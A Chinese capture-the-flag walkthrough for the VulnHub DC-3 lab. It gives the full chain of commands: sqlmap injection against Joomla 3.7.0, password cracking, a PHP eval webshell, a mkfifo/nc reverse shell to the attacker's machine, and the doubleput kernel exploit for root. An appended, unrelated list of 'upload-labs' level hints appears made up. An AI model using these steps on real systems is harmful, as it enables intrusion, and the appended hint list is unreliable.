靶场DC-3通关详解

一、环境搭建:

1、靶场描述

DC-3是另一个专门建立的易受攻击的实验室,旨在获得渗透测试领域的经验。与之前的DC版本一样,这个版本是为初学者设计的,尽管这一次只有一个标志,一个入口点,根本没有线索。必须具备Linux技能并熟悉Linux命令行,还必须具有使用基本渗透测试工具的经验。对于初学者来说,谷歌可以提供很大的帮助,但你可以随时在@DCAu7上推我让你重新开始。但请注意:我不会给你答案,相反,我会给你一个如何前进的想法。对于那些有CTF和Boot2Root挑战经验的人来说,这可能不会花你很长时间(事实上,它可能只需要不到20分钟)。如果是这种情况,如果你想让它更具挑战性,你可以重做挑战,探索其他获得根和获得旗帜的方法。

只有一个flag

2、下载靶场环境

(前面安装了老版本的DC-3几次,nmap都扫描不到虚拟机,后来琢磨了很久也找不到原因,然后去官网重新下载了一个基本就没有什么问题了)

靶场下载地址:DC: 3.2 ~ VulnHubDC: 3.2, made by DCAU. Download & walkthrough links are available.icon-default.png?t=O83Ahttps://www.vulnhub.com/entry/dc-32,312/

kali和DC-3都用NAT模式

DC-3比DC-1和DC-2要麻烦一点 需要改一些东西

需要把IDE里面的改成IDE0:0

都完成后开启kali和DC-3

 二、渗透靶场

信息收集

1、首先要确认kali和DC-3都在同一网段 用ifconfig来判断网段

确认kali和DC-3所在网段为192.168.234.0/24网段

2、目标:

  目标就是我们搭建的靶场,靶场IP为:192.168.234.0/24

寻找靶机真实IP

nmap -sP 192.168.234.0/24

 本机ip为192.168.234.128

 所以分析可得靶机ip为192.168.234.131

192.168.234.1 vm8网卡

192.168.234.2 网关

192.168.234.131靶机

192.168.234.254 DHCP服务器

192.168.234.128 kali本机

 3、信息收集:探端口及服务

nmap -A -p- -v 192.168.234.131

-A 综合性扫描

-v 冗余模式。强烈推荐使用这个选项,它会给出扫描过程中的详细信息

通过扫描可以发现DC-3开启了80端口并且使用了Joomla!

4、访问网站192.168.234.131

他告诉我们这次DC-3实战只有一个目标获得root权限

 5、利用JoomScan进行扫描获取后台地址

由于我们前面采用nmap进行扫描时我们已经发现了中间件为joomla,我们可以采用joomscan进行扫描,如果我们不知道是joomla,我们可以采用目录扫描或者nikto等扫描工具进行扫描。发现更多的信息。

1.JoomScan简介

OWASPJoomla!漏洞扫描器(JoomScan)是一个开源项目,其主要目的是实现漏洞检测的自动化,以增强Joomla CMS开发的安全性。该工具基于Perl开发,能够轻松无缝地对各种Joomla项目进行漏洞扫描,其轻量化和模块化的架构能够保证扫描过程中不会留下过多的痕迹。它不仅能够检测已知漏洞,而且还能够检测到很多错误配置漏洞和管理权限漏洞等等。除此之外,OWASP JoomScan使用起来非常简单,不仅提供了非常友好的用户界面,而且还能够以HTML或文本格式导出扫描报告。

2.JoomScan简单使用

执行默认检测:

perl joomscan.pl --url www.example.com

perl joomscan.pl -u www.example.com

枚举已安装的组件:

perl joomscan.pl --url www.example.com --enumerate-components

perl joomscan.pl -u www.example.com –ec

设置cookie:

perl joomscan.pl --url www.example.com --cookie "test=demo;"

设置user-agent:

perl joomscan.pl --url www.example.com --user-agent "Googlebot/2.1(+http://www.googlebot.com/bot.html)"

perl joomscan.pl -u www.example.com -a "Googlebot/2.1(+http://www.googlebot.com/bot.html)"

设置随机user-agent

perl joomscan.pl -u www.example.com --random-agent

perl joomscan.pl --url www.example.com -r

更新JoomScan:

perl joomscan.pl –update

3.joomScan扫描

apt update  
apt-get install joomscan

joomscan --url http://192.168.66.142  提示没有joomscan 选择y安装

扫描结果如下

知道了joomla cms版本为3.7.0

 得到了网站后台地址http://192.168.234.131/administrator/

6、 利用nikto扫描获取后台地址

1.Nikto简介

    Nikto是一个开源的WEB扫描评估软件,可以对Web服务器进行多项安全测试,能在230多种服务器上扫描出 2600多种有潜在危险的文件、CGI及其他问题。Nikto可以扫描指定主机的WEB类型、主机名、指定目录、特定CGI漏洞、返回主机允许的 http模式等。

2.Nikto简单使用

1、常规扫描

nikto -host/-h http://127.0.0.1

nikto -h http://127.0.0.1

2、可以指定端口进行扫描,同样可以指定SSL协议,进行HTTPS扫描。

nikto -h http:// 127.0.0.1 -p 443 ssl

3、指定子目录进行目录爆破

nikto -h http:// 127.0.0.1 -C /dvwa

4、批量扫描

nikto -host list.txt

5、升级更新插件

nikto -update

6、查看工具版本和插件版本

nikto -V

7、查看插件信息

nikto -list-plugins

8、命令查看帮助信息

nikto

9、查看更详细的帮助信息

nikto -H

man nikto

3.Nikto扫描

    我们前面已经知道了CMS是joomla,并且知道了后台地址,针对于这一个靶场这一步没有任何意义,这里只是提供一个思路,目录扫描,这里就不拓展了。

nikto --url http://192.168.234.131/

7、查找漏洞发现存在SQL注入

 我们前面知道了CMS为joomla,版本为3.7.0

使用searchsploit检查到有对应的漏洞

searchsploit joomla 3.7.0

我们发现有一个SQL注入,还存在一个XSS

我们可以看一下这个漏洞的提示信息

searchsploit -m 42033.txt

 提示信息如下

 我们看到了POC,我们验证一下,把localhost修改为我们的靶机IP就ok

看到提示,数据库语句错误,说明进行了拼接,存在SQL注入

 8、sqlmap跑出数据

1.跑出所有数据库

sqlmap -u "http://192.168.234.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] –batch

  扫描结果
成功把数据库跑出来了

2、获取当前数据库的名字joomladb

sqlmap -u "http://192.168.234.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --current-db –batch

3.sqlmap -u "http://192.168.234.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables --batch 

 观察表名,很明显,我们会关注#__users这张表

 4.获取joomladb的users表的字段名

sqlmap -u "http://192.168.66.142/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns

第一个选项,直接回车使用默认的“Y”

 第二个选项,使用“y”,不要使用默认的,不然会出错

 第三个选项随意

 第四个选项使用10线程

 最终跑出来6个字段

 5.获取目标字段username和password

sqlmap -u "http://192.168.66.142/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns -C "username,password" --dump --batch

获得结果如下
拿到一个用户名和加密的密码

9、 利用john爆破密码snoopy

    使用john破解出admin密码,john the ripper是一款本地密码破解工具,可以从我们上面生成的shadow文件(密码散列)中破解出密码。破解时间取决于密码的复杂程度以及破解模式。

创建一个1.txt,把加密的密码字段写入

使用john破解出admin密码是snoopy

 10、利用获取到的账号密码进行登录

http://192.168.234.131/administrator/

admin/snoopy

登陆成功

 11、上传webshell

    发现一个上传点

点击Beez3 Details and Files进入

 点击newfiles

 这儿我们发现可以上传文件,考虑上传木马,也可以创建文件进行编辑

要上传木马,我们先要找到当前文件所在的目录:

 http://192.168.234.131/templates/beez3/html/

 回到刚才的页面点击new file
在html下创建一个php文件,名字叫做shell

   创建成功之后,跳到编辑页面,然后我们输入php一句话,点击左上角绿色的save进行保存

<?php

echo ("密码是a");

@eval($_REQUEST [a]);

?>

 再次访问http://192.168.66.142/templates/beez3/html/
发现多了一个shell.php文件,我们访问一下

访问webshell,得到我们设置的会先内容,文件上传成功 

http://192.168.234.131/templates/beez3/html/shell.php

12、 蚁剑管理webshell

    右键添加数据

右键进入虚拟终端执行whaomi查询我权限,是www-data权限

13、 反弹shell到kali

    蚁剑看到的终端不如kali清晰,反弹一个shell到kali

1.kali监听

nc -lvvp 1234

 2.靶机连接

nc -e /bin/bash 192.168.234.128 1234

发现-e参数不可用

    使用如下目录连接

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.234.128 1234 >/tmp/f

 

14、 创建交互式shell

    经常用shell的都知道这个shell不好用,我们建立一个交互式shell

    常用的就是python创建交互式shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

 15、使用辅助脚本发现提权漏洞

1.下载辅助脚本Linux-Exploit-Suggester.sh

    下载地址:

GitHub - The-Z-Labs/linux-exploit-suggester: Linux privilege escalation auditing tool

2.上传辅助脚本

    我们直接在蚁剑中上传

上传成功

3.发现漏洞

ls -l linux-exploit-suggester.sh

   发现没有执行权限,我们给他加个执行文件

chmod +x linux-exploit-suggester.sh

   执行脚本

./linux-exploit-suggester.sh

发现很多可利用漏洞

16、 使用辅助脚本提权

1.获取提权脚本

    上面发现了很多漏洞,这里我们挑一个进行提权

挑选CVE-2016-4557

 在图片里可以看到是一个39772的文件,由于给出的那个URL无法下载

也可以去searchsploit里面去看看  

 地址根上面一样也不能使用

 可以使用下面地址直接下载

bin-sploits/39772.zip · main · Exploit-DB / Binary Exploits · GitLab

 

3.提权

  解压文件

unzip 39772.zip

 cd 39772

ls

 tar -xvf exploit.tar

cd ebpf_mapfd_doubleput_exploit

 ./compile.sh

./doubleput

执行完之后,提权成功

 获得root权限

 17、发现the-flag.txt

ls

cat the-flag.txt

       

你好!要通关 upload-labs 靶场的第 1-21 关,你需要依次完成每个关卡的任务。以下是通关每个关卡的一些提示: 1. Level 1 - 文件上传漏洞:尝试上传一个恶意文件,看看能否绕过上传限制。 2. Level 2 - 文件包含漏洞:尝试利用文件包含漏洞,读取服务器上的敏感文件。 3. Level 3 - XXE漏洞:在上传的 XML 文件中尝试触发外部实体注入。 4. Level 4 - SQL注入漏洞:利用输入点进行 SQL 注入攻击,尝试获取数据库中的敏感信息。 5. Level 5 - SSRF漏洞:尝试利用服务器端请求伪造漏洞,发起内部网络请求。 6. Level 6 - 文件上传漏洞2:绕过上传限制,上传一个恶意文件。 7. Level 7 - 文件包含漏洞2:利用文件包含漏洞,读取服务器上的敏感文件。 8. Level 8 - 反序列化漏洞:尝试触发反序列化漏洞,执行恶意代码。 9. Level 9 - 文件上传漏洞3:绕过上传限制,上传一个恶意文件。 10. Level 10 - 文件包含漏洞3:利用文件包含漏洞,读取服务器上的敏感文件。 11. Level 11 - XXE漏洞2:在上传的 XML 文件中触发外部实体注入。 12. Level 12 - SSRF漏洞2:尝试利用服务器端请求伪造漏洞,发起内部网络请求。 13. Level 13 - 文件上传漏洞4:绕过上传限制,上传一个恶意文件。 14. Level 14 - 文件包含漏洞4:利用文件包含漏洞,读取服务器上的敏感文件。 15. Level 15 - SQL注入漏洞2:利用输入点进行 SQL 注入攻击,尝试获取数据库中的敏感信息。 16. Level 16 - 文件上传漏洞5:绕过上传限制,上传一个恶意文件。 17. Level 17 - 文件包含漏洞5:利用文件包含漏洞,读取服务器上的敏感文件。 18. Level 18 - 反序列化漏洞2:尝试触发反序列化漏洞,执行恶意代码。 19. Level 19 - 文件上传漏洞6:绕过上传限制,上传一个恶意文件。 20. Level 20 - 文件包含漏洞6:利用文件包含漏洞,读取服务器上的敏感文件。 21. Level 21 - XXE漏洞3:在上传的 XML 文件中触发外部实体注入。 请注意,在完成每个关卡时,要仔细阅读相关提示和代码,理解漏洞的原理,并尝试不同的方法来解决问题。祝你顺利通关
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值